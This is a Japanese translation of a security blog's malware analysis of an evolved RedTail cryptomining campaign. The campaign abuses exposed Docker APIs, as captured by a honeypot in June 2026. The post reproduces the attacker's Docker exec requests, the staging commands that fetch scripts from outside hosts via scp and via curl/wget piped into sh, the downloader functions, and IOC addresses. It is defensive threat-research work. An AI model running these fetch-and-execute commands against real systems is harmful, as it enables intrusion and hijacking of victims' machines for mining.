要約
2025年11月、Beelzebub LabsのMario Candela氏による調査が、RedTailがポート2375で公開されたDocker APIを標的にしている初の公開実証事例とみられる内容を報告しました。
2026年6月に取得されたBeelzebubハニーポットのキャプチャは、このキャンペーンが引き続き進化していることを示す証拠となっています。コンテナ内で実行されるコマンドには、現在OpenSSHの秘密鍵とSSH設定が含まれるようになっており、主な取得手段としてSCPを使用し、失敗時にはHTTPSにフォールバックする仕組みになっています。
今回のキャプチャでは、ペイロードにも変化が見られます。ダウンローダーのロジックが更新され、ファイル名生成のフォールバック手段が追加された、密接に関連する2種類のBashバリアントが確認されました。一方で、11月に観測された`docker.selfrep`という引数やマイナー展開の挙動は維持されています。これらの変化は、RedTailの背後にいる攻撃者が依然として活動を続けており、配信手法とペイロードのツール群を更新し続けていることを示しています。
はじめに
2025年11月、Beelzebub LabsのMario Candela氏による調査が、RedTailの暗号資産マイニングマルウェアの活動がポート2375で公開されたDocker APIを標的にしている初の公開実証事例とみられる内容を報告しました。これ以前の公開情報では、RedTailによるWebアプリケーション、IoTデバイス、VPN、ネットワーク機器の悪用に焦点が当てられていました。
2026年6月、Beelzebubのハニーポットが、公開されたDocker APIに対するさらなるRedTailの活動を記録しました。この記録からは、コンテナ内で実行されるコマンドと、そこで取得されるペイロードの両方に変化が生じていることが明らかになりました。
今回の活動でも、11月に観測されたのと同じく特徴的なlibredtail-httpというユーザーエージェントとdocker.selfrepという引数が確認されており、この2つのキャプチャがつながっていることを示しています。これらの変化は、RedTailの背後にいる攻撃者が依然として活動を続けており、配信手法とペイロードのツール群を更新し続けていることを示す証拠です。
本記事では、コンテナの列挙からexecの作成、デタッチ実行に至るまで、2026年6月に捕捉された配信チェーン全体を分析するとともに、コンテナ内で実行されるコマンドと、そこで取得されるペイロードについても解説します。
配信チェーンの分析
以下のシーケンスは、2026年6月10日に観測された最も早い活動から取得した、配信チェーンの代表的な例です。同じパターンは、データセット内の他の送信元IPからも記録されています。
04:13:07 UTC、送信元IP 47.77.182.54から、公開されたDocker API経由で実行中のコンテナを列挙するリクエストが送信されました。
GET /containers/json
このレスポンスとして、実行中のコンテナの一覧が返されました。
04:13:08 UTC、同じ送信元から、発見されたコンテナに対してexec-createリクエストが送信されました。
POST /containers/<redacted-container-id>/exec
各リクエストには、同一のRedTailステージングコマンドが含まれていました。
以下のイベントはその一例です。埋め込まれた秘密鍵、対象ホスト、コンテナIDはプレースホルダーに置き換えてあります。
{
"DateTime": "2026-06-10T04:13:08Z",
"SourceIP": "47.77.182.54",
"Protocol": "HTTP",
"UserAgent": "libredtail-http",
"HostHTTPRequest": "<redacted-host>:2375",
"HTTPMethod": "POST",
"RequestURI": "/containers/<redacted-container-id>/exec",
"Body": {
"AttachStdout": false,
"AttachStderr": false,
"Cmd": [
"sh",
"-c",
"cd /tmp || cd /var/tmp || cd /dev/shm; echo '-----BEGIN OPENSSH PRIVATE KEY-----\n<REDACTED>\n-----END OPENSSH PRIVATE KEY-----' > key.ppk; echo 'StrictHostKeyChecking no\nUserKnownHostsFile /dev/null' > sshcfg; chmod 400 key.ppk; scp -F sshcfg -i key.ppk [email protected]:sh out_sh; if [ $? -eq 0 ]; then chmod +x out_sh; sh out_sh docker.selfrep; else (wget --no-check-certificate -qO- https://14.46.136.77/sh || curl -sk https://14.46.136.77/sh) | sh -s docker.selfrep; fi; rm -rf sshcfg key.ppk out_sh"
]
}
}
このリクエストは、次の内容を実行するexecインスタンスを作成するようDockerに指示するものです。
sh -c "<staging command>"
標準出力と標準エラー出力のアタッチはいずれも無効化されています。
{
"AttachStdout": false,
"AttachStderr": false
}
ステージングコマンドは、まず一般的な書き込み可能な一時ディレクトリ3つのうちいずれかに移動することから始まります。
cd /tmp || cd /var/tmp || cd /dev/shm
次に、ステージングコマンドはコンテナ内にOpenSSHの秘密鍵を書き込み、一時的なSSHクライアント設定を作成します。
echo '<REDACTED OPENSSH PRIVATE KEY>' > key.ppk
echo 'StrictHostKeyChecking no
UserKnownHostsFile /dev/null' > sshcfg
chmod 400 key.ppk
このSSH設定では、ホスト鍵の検証が無効化されており、ホスト情報がknown-hostsファイルに保存されないようになっています。これらの設定により、SCPコマンドはホスト検証の入力待ちなしで実行できます。
秘密鍵に400のパーミッションが付与されているのは、OpenSSHが他のユーザーからアクセス可能な秘密鍵を拒否するためです。
主な取得経路としてはSCPが使用されています。
scp -F sshcfg -i key.ppk [email protected]:sh out_sh
このコマンドは、ユーザーdlrとして217.60.195.113に認証を行い、リモートのファイルshを取得して、コンテナ内にout_shとして保存します。
SCPによる転送に成功した場合、ステージングコマンドはダウンロードしたスクリプトを実行可能にし、docker.selfrepを引数として起動します。
chmod +x out_sh
sh out_sh docker.selfrep
SCPが失敗した場合、ステージングコマンドはHTTPS経由で関連スクリプトを取得します。
(wget --no-check-certificate -qO- https://14.46.136.77/sh || curl -sk https://14.46.136.77/sh) | sh -s docker.selfrep
このフォールバックでは、まずwgetを試み、失敗するとcurlを試します。いずれのコマンドもTLS証明書の検証を無効化しています。ダウンロードされたスクリプトは、引数としてdocker.selfrepを渡した状態で、そのままshにストリーミングされます。
選択されたスクリプトの実行が完了すると、ステージングコマンドは一時的なSSHファイルと、ローカルに保存されたout_shスクリプトを削除します。
rm -rf sshcfg key.ppk out_sh
同じ送信元は続けて、Dockerのexec-startエンドポイントにリクエストを送信しました。
POST /exec/<redacted-exec-id>/start
最初のstartリクエストは04:13:08 UTCに記録され、その後04:13:09 UTCに追加のstartリクエストが続きました。各リクエストは以下の内容を使用していました。
{
"Detach": true,
"Tty": false
}
これにより、execインスタンスはTTYを割り当てずにデタッチモードで起動されます。そして、選択されたコンテナ内でステージングコマンドが実行されます。
この代表的なシーケンスは、次のようにまとめられます。
| 時刻(UTC) | Docker API呼び出し | アクション |
|---|---|---|
04:13:07 |
GET /containers/json |
実行中のコンテナ一覧を列挙・取得 |
04:13:08 |
POST /containers/<container-id>/exec |
ステージングコマンドを含むexecインスタンスを作成 |
04:13:08–04:13:09 |
POST /exec/<exec-id>/start |
対象コンテナ内でステージングコマンドを実行 |
起動されると、ステージングコマンドはコンテナ内で以下の手順を実行します。
- 書き込み可能なディレクトリ(
/tmp、/var/tmp、または/dev/shm)に移動 key.ppk秘密鍵とsshcfgのSSH設定を書き込み217.60.195.113からSCP経由でペイロードの取得を試行- 成功した場合:
out_sh docker.selfrepを実行 - 失敗した場合:
https://14.46.136.77/shを取得し、docker.selfrepを引数としてHTTPS版を実行
- 成功した場合:
sshcfg、key.ppk、out_shを削除し、痕跡を消去
このシーケンスは、データセット内の複数の送信元IPからの活動で繰り返し確認されています。
ペイロードの分析
ステージングコマンドは、密接に関連する2種類のBashペイロードバリアントのいずれかを実行できます。SCP経路ではリモートのスクリプトがout_shとして保存されるのに対し、HTTPSフォールバックでは関連するshバリアントが直接シェルにストリーミングされます。
いずれもdocker.selfrepという引数を受け取り、同じ展開ロジックを共有しています。両者の主な違いは、cleanとマイナーのバイナリを取得するために使われるダウンローダーのロジックです。
ランダム化された隠しファイル名
いずれのスクリプトも、マイナー用の隠しファイル名を生成します。
FILENAME=".$(get_random_string)"
このランダム名生成関数は、openssl、/dev/urandom、Bashの$RANDOMの順に試行します。これらの方法がいずれも失敗した場合は、固定値のredtailが使用されます。
ダウンローダーのロジック
2種類のペイロードバリアントの主な違いは、dlr()関数にあります。
SCP経由で配信されるout_shバリアントは、まずSCPを試み、転送が失敗した場合にHTTPSにフォールバックします。
dlr() {
rm -rf $1
scp -F sshcfg -i key.ppk [email protected]:$1 $1
if [ $? -ne 0 ]; then
wget --no-check-certificate -q https://14.46.136.77/$1 ||
curl -skO https://14.46.136.77/$1
fi
}
HTTPS経由で配信されるshバリアントは、wgetまたはcurlのみを使用します。
dlr() {
rm -rf $1
wget --no-check-certificate -q https://14.46.136.77/$1 ||
curl -skO https://14.46.136.77/$1
}
いずれのバリアントも、この関数を使ってcleanコンポーネントとアーキテクチャ別のマイナーバイナリを取得します。
作業ディレクトリの選定
いずれのスクリプトも、適切な作業ディレクトリを探索します。その処理は以下の通りです。
- 現在のユーザーが所有し、読み取り・書き込み・実行の権限を持つディレクトリを探す
- 初期検索の対象から、
noexec付きでマウントされたファイルシステム上のパスを除外する /procおよび/tmp配下のディレクトリを除外する/tmp、/var/tmp、/dev/shmを追加の候補として加える- 各ディレクトリについて、一時ファイルを作成し
ddまたはtruncateで2MBのファイルを確保できるかテストする - これらのチェックを通過した最初のディレクトリを選択する
out_shバリアントはさらに、key.ppkとsshcfgを/tmpから選択したディレクトリに移動し、その後key.ppkに400のパーミッションを適用して、SCPダウンローダーが引き続き使用できる状態を維持します。
cleanスクリプト
マイナーをダウンロードする前に、いずれのバリアントもcleanという名前のスクリプトを取得・実行します。
dlr clean
chmod +x clean
sh clean >/dev/null 2>&1
rm -rf clean
rm -rf .redtail
rm -rf $FILENAME
これまでのBeelzebubの調査でも述べられている通り、このcleanコンポーネントはおそらく以下を行うものと考えられます。
- 競合する暗号資産マイナーの停止
- 他の攻撃者によるマルウェアの除去
- CPUリソースの解放
実行後、このスクリプトはcleanを削除し、既存の.redtailファイルがあれば削除し、新たに生成された隠しファイル名に一致するファイルもすべて消去します。
マルチアーキテクチャ対応の展開
いずれのスクリプトも、以下のコマンドでシステムのアーキテクチャを検出します。
ARCH=$(uname -mp)
そして、4種類のマイナーバイナリのいずれかを選択します。
x86_64およびamd64にはx86_64i386、i486、i586、i686にはi686armv8およびaarch64にはaarch64armv7にはarm7
認識可能なアーキテクチャの場合、スクリプトはdlr()を使って該当するバイナリをダウンロードし、ランダム化された隠しファイル名にリネームした上で実行可能にし、ステージングコマンドから受け取った引数を付けて起動します。
chmod +x $FILENAME
./$FILENAME $1 >/dev/null 2>&1
今回のキャプチャでは、$1にはdocker.selfrepが格納されていました。
アーキテクチャが認識できない場合、スクリプトはx86_64、i686、aarch64、arm7を順番にダウンロードして実行を試みます。
実行後、out_shバリアントはさらにsshcfgとkey.ppkも削除します。
2025年11月のBeelzebubキャプチャとの比較
2025年11月のキャプチャでは、HTTPを直接使用するステージングコマンドが用いられていました。
cd /tmp || cd /var/tmp; curl http://178.16.55.224/sh -o redtail.sh || wget http://178.16.55.224/sh -O redtail.sh; chmod +x redtail.sh; ./redtail.sh docker.selfrep; rm -rf redtail.sh
このコマンドは、178.16.55.224からshをダウンロードしてredtail.shとして保存し、docker.selfrepを引数として実行した後、そのスクリプトを削除するというものでした。
一方、2026年6月のコマンドでは、主な取得手段としてSCPが使用されています。コンテナ内にOpenSSHの秘密鍵とSSH設定を書き込み、217.60.195.113からshを取得してout_shとして保存します。SCPが失敗した場合は、14.46.136.77からHTTPS経由で関連スクリプトを取得します。
ペイロードのロジック自体は、両方のキャプチャを通じて概ね類似しています。ペイロードにおける主な変化はダウンローダーの部分です。11月のスクリプトではwget、curl、そして/dev/tcpへのフォールバックが使用されていました。6月のout_shバリアントはまずSCPを使用し、HTTPSをフォールバックとして用いる一方、6月のshバリアントはwgetまたはcurlによるHTTPSを使用します。
また、6月のスクリプトには、ファイル名生成のフォールバック手段として/dev/urandom、$RANDOM、固定値redtailが追加で含まれています。これらの手法は、11月の調査では確認されていませんでした。
侵害指標(IOC)
観測された送信元IP
101.36.104.242109.236.50.3157.245.118.253212.22.85.23747.77.182.5447.79.37.11768.183.234.194
ペイロードのステージングインフラ
| 指標 | 役割 |
|---|---|
217.60.195.113 |
SCPステージングサーバー |
14.46.136.77 |
HTTPSサーバー |
結論
今回の新たなキャプチャは、RedTailの運用者が単発の実験としてではなく、実際にDocker APIへの攻撃チェーンを積極的に改良し続けていることを裏付けています。2025年11月に最初の観測を行って以降、ステージングコマンドは単純なHTTPダウンロードから、OpenSSHの秘密鍵と設定をコンテナ内に送り込み、SCPによる取得を優先しつつHTTPSはあくまでフォールバックとして残す、多段階の処理へと進化してきました。
SCPベースの配信への移行や、ファイル名生成のフォールバック手段の追加は、中核となるマイニングペイロード自体は安定させたまま、耐障害性と検知回避の面で反復的な改良を重ねている運用実態を示しています。公開されたDocker APIは依然として、高い価値を持ちながら監視の行き届いていない標的であり、今回のキャンペーンは、それをインターネットから到達可能な状態のまま放置することの代償を物語っています。🚨
本記事は、マルウェア分析をテーマとした継続シリーズの最新回です。
Beelzebubコミュニティは、インターネットをより安全な場所にするという取り組みを、これからも続けてまいります。❤️
翻訳元: https://beelzebub.ai/blog/redtail-docker-api-campaign-evolves/